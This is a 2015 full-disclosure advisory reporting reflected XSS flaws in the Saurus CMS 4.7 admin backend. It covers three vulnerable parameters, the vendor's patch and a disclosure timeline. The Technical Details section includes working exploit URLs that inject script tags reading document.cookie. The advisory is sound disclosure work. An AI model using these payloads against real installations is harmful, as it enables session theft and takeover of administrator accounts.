Advisory: Reflecting XSS vulnerabilities in CMS Saurus v. 4.7 (CE)
Advisory ID: SROEADV-2015-05
Author: Steffen Rösemann
Affected Software: CMS Saurus v. 4.7 (CE, released: 12.08.2014)
Vendor URL: http://www.saurus.info
Vendor Status: patched
CVE-ID: -

==========================
Vulnerability Description:
==========================

The administrative backend of the Content Management System Saurus CMS v.
4.7 (Community edition, released: 12.08.2014) suffers multiple reflecting
XSS vulnerabilities.

==================
Technical Details:
==================

Reflecting XSS vulnerabilities reside in the following URLs of a common
Saurus CMS v. 4.7 installation:

user_management.php (parameter "search" is vulnerable to XSS):

http://
{TARGET}/admin/user_management.php?tmpuser_search=1&tmpgroup_search=1&tmpsearch_subtree=1&search=&user_search=1&group_search=1&group_search=1&flt_role=&keepThis=true&id=&op=&keel=&group_id=1&view=overview_false&user_id=&user_prev_id=&user_next_id=

Exploit-Example

http://
{TARGET}/admin/user_management.php?tmpuser_search=1&tmpgroup_search=1&tmpsearch_subtree=1&search=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3C!--&user_search=1&group_search=1&group_search=1&flt_role=&keepThis=true&id=&op=&keel=&group_id=1&view=overview_false&user_id=&user_prev_id=&user_next_id=

profile_data.php (parameter "data_search" is vulnerable to XSS):

http://
{TARGET}/admin/profile_data.php?data_search=&profile_search=&profile_id=0

Exploit-Example

http://
{TARGET}/admin/profile_data.php?data_search=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3C!--&profile_search=&profile_id=0

error_log.php (parameter "filter" is vulnerable to XSS):

http://
{TARGET}/admin/error_log.php?id=&op=&keel=&group_id=1&otsi=1&page=&filter=bla&algus=31.12.2014&lopp=07.01.2015&err_type=&otsi=1&page=&filter=&algus=31.12.2014&lopp=07.01.2015&err_type=

Exploit-Example

http://
{TARGET}/admin/error_log.php?id=&op=&keel=&group_id=1&otsi=1&page=&filter=bla&algus=31.12.2014&lopp=07.01.2015&err_type=&otsi=1&page=&filter=%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E%3C!--&algus=31.12.2014&lopp=07.01.2015&err_type=

=========
Solution:
=========

Upgrade to the latest version of Saurus CMS v. 4.7 (release-date:
27.01.2015).


====================
Disclosure Timeline:
====================
07-Jan-2015 – found the vulnerabilities
07-Jan-2015 - informed the developers (see [2])
07-Jan-2015 – release date of this security advisory [without technical
details]
08-Jan-2015 - vendor responded, going to patch the issue
22-Jan-2015 - vendor needs more time as he wants to patch another
vulnerability simultaneously
27-Jan-2015 - vendor releases patch (see [4])
27-Jan-2015 - release date of this security advisory
27-Jan-2015 - send to FullDisclosure



========
Credits:
========

Vulnerability found and advisory written by Steffen Rösemann.

===========
References:
===========

[1] http://www.saurus.info
[2] https://github.com/sauruscms/Saurus-CMS-Community-Edition/issues/61
[3] http://sroesemann.blogspot.de/2015/01/sroeadv-2015-05.html
[4]
https://github.com/sauruscms/Saurus-CMS-Community-Edition/commit/8dec044d0fdabcb9b04e58037623385a97b0d288